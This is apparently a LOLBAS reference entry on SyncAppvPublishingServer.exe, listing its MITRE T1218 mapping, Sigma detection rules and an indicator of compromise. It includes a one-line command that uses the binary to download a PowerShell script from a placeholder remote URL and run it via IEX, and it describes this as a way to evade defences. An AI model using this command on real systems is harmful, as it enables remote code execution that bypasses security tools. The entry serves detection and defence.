SyncAppvPublishingServer.exe

Example command on how inject Powershell code into the process

Use Use SyncAppvPublishingServer as a Powershell host to execute Powershell code. Evade defensive counter measures

SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218

Detection

Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/powershell/powershell_script/posh_ps_syncappvpublishingserver_exe.yml

Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/powershell/powershell_module/posh_pm_syncappvpublishingserver_exe.yml

Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml

IOC: SyncAppvPublishingServer.exe should never be in use unless App-V is deployed

Refs

twitter.com/monoxgas/status/895045566090010624

lolbas-project.github.io/lolbas/Binaries/SyncAppvPublishingServer/